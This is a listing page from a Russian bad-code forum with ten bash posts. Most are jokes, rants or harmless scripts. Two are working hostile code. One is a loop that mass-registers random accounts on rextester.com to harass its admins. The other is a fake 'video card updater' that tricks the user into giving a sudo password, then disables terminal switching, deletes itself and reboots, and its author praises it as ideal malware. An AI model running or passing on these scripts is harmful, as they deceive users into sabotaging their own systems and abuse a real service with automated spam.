1. bash / Говнокод #24074

    −3

    1. 1
    Бомбёж по поводу Wine и Mono

    Все говорят, что Wine не может с 1993 года запускать программы под винду. И всё почему? Потому что не могут господа вся опенсорса и линуксии нормально реимплементить программы с нешвабодки. Содержимое бутылки похоже на винду настолько отдалённо, как борманд на кегдана. И причём тут Mono? Притом, что в вайн засунули моно, который кривой как руки создателя 1C. И самое страшное, что ни вайн, ни моно никто не хочет сделать на 100% идентичным оригиналу. Ведь если они не будут похожи, то они просто становятся бесполезны.

    dm_fomenok, 04 Апреля 2018

    Комментарии (88)
  2. bash / Говнокод #24014

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    #!/bin/sh
    
    declare -i count=0
    while true; do
    	tmp=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
    	tmp=${tmp:0:100}
    	user=$(echo -n $tmp| tr 0-9 K-Z)
    	password=$tmp
    	# echo -e "\n\e[0;96mLogin: \e[0;97m$user"
    	# echo -e "\e[0;96mPassword: \e[0;97m$password"
    	curl --connect-timeout 10 -A "I that sends all fuck" -d "RegName=${user}&RegPassword=${password}&Submit1=Register" http://rextester.com/login 2>&1 | grep "Object moved" &>/dev/null
    	ret=$?
    	if [ "$ret" -eq 0 ]; then
    		#echo -e "\e[0;92mRegistration done\n"
    		((count++))
    		echo -e "\e[0;92m$count"
    	else
    		echo -e "\e[0;91mfail"
    	fi
    	usleep 10000
    done

    Да здраствуют издевательства над тупыми админами!!!

    fuckercoder, 27 Марта 2018

    Комментарии (2)
  3. bash / Говнокод #23633

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    #!/bin/bash
    # ColorsXterm.sh
    # by Morteryler 2017
    
    print()
    {
      local N=$1
      declare -i i=0
      for n in $cveta; do
        echo -n '\e['"$N"';'$n'm'
        echo -e " > \e["$N";"$n"m $TEXT \e[0m"
        ((i++))
      done
    }
    
    help()
    {
      echo "Программа ColorsXterm. Версия 1.0"
      echo "-0 - обычные цвета"
      echo "-1 - жирные цвета"
      echo "-2 - бледные цвета"
      echo "-3 - тоже обычные цвета"
      echo "-4 - подчеркнутые цвета"
      echo "-5 - мигающие цвета"
      echo "-6 - тоже обычные цвета"
      echo "-7 - цвета инвертированные"
      echo "-8 - цвета без текста"
      echo "-9 - все перечёркнутые"
      exit 0
    }
    
    TEXT="#######################################################"
    
    cveta="1 2 4 5 7 8 9 21 30 31 32 33 34 35 36 37 41 42 43 44 45 46 47\
     90 91 92 93 94 95 96 97 100 101 102 103 104 105 106 107"
    
    while getopts ":h0123456789" opt; do
       case $opt in
    		0) print 0;;
        1) print 1;;
        2) print 2;;
        3) print 3;;
        4) print 4;;
        5) print 5;;
        6) print 6;;
        7) print 7;;
        8) print 8;;
        9) print 9;;
        h) help;;
    	esac
    done

    Openгавняшка

    fuckercoder, 01 Января 2018

    Комментарии (0)
  4. bash / Говнокод #23624

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #!/bin/sh
    echo "Вас  приветствует обновлятор видеокарты! Версия 1.0"
    echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
    sudo echo -n "Установка..."
    sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
    let a=$RANDOM%15
    let a+=7
    sleep $a
    echo "Установка завершена! Приятного использования"
    sleep 1
    rm $0
    sudo reboot

    Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
    Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить

    fuckercoder, 29 Декабря 2017

    Комментарии (74)
  5. bash / Говнокод #23589

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    #!/bin/sh
    while true; do
        date "+Time is %H %M. Stop lurking and get the fuck to work" | say
        sleep 1800
    done

    Я наконец нашёл применение встроенному в OS X TTS-движку.

    CHayT, 15 Декабря 2017

    Комментарии (51)
  6. bash / Говнокод #23575

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    #!/bin/sh
    # 
    # Simple script to enable CPU cores automatically again if cooling state is
    # 3 or lower.
    #
    
    set -e
    
    get_cooling_state() {
            echo $(cat /sys/devices/virtual/thermal/cooling_device0/cur_state)
    }
    
    enable_cpu() {
            if [ $(cat /sys/devices/system/cpu/cpu$1/online) = 0 ]; then
                    echo 1 > /sys/devices/system/cpu/cpu$1/online || true
            fi
    }
    
    while true; do
            for c in 0 1 2 3; do
                    if [ $(get_cooling_state) -le 3 ]; then
                            enable_cpu $c
                    fi
            done
            sleep 5
    done

    Вот такой замечательный код занимается защитой процессора в стандартных сборках под OrangePi на Allwinner H5
    https://github.com/orangepi-xunlong/OrangePiH5_scripts/blob/master/platform-scripts/OrangePi_corekeeper.sh
    Думаю, говорить о том, как такой код работает, и насколько лучше был бы тут простенький скрипт, скажем, на питоне, смысла нет

    losetup, 10 Декабря 2017

    Комментарии (23)
  7. bash / Говнокод #23523

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    kvm_rpm_table="[censored]/function/html/data.htm"
    xen_rpm_table="[censored]/function/html/data1.htm"
    
    if [ $1 != "kvm" ] && [ $1 != "xen" ]; then
        echo "Please, specify kvm or xen"
        exit 1
    fi
    
    if [ $1 != "kvm" ]; then
        line=`wget $kvm_rpm_table -q -S -O - 2>&1 | grep 'Download' -m1`;
    fi
    
    if [ $1 != "xen" ]; then
        line=`wget $xen_rpm_table -q -S -O - 2>&1 | grep 'Download' -m1`;
    fi

    По какой-то причине человек решил задефайнить в переменную про KVM страницу со ссылками на ядра с Xen, а в перменную про Xen -- страницу со ссылками на ядра с KVM. Чем и вызван весь дальнейший цирк.

    ru_maniac, 13 Ноября 2017

    Комментарии (5)
  8. bash / Говнокод #23518

    −7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    #!/bin/bash
    echo Я говно на баш!
    while true; do
    read PS1
    PS2="${PS2} ${PS1} Смищно правда?"
    echo $PS2
    don

    RUSSIAN-PROGRAMMER, 11 Ноября 2017

    Комментарии (6)
  9. bash / Говнокод #23474

    +1

    1. 1
    Кегдан вернулся, давайте радоваться вместе!

    d_fomenok, 01 Ноября 2017

    Комментарии (3)
  10. bash / Говнокод #23372

    −3

    1. 1
    А вы замечали, что пари предпросмотре поста выводится дата "01 Января 1970"?

    d_fomenok, 28 Сентября 2017

    Комментарии (30)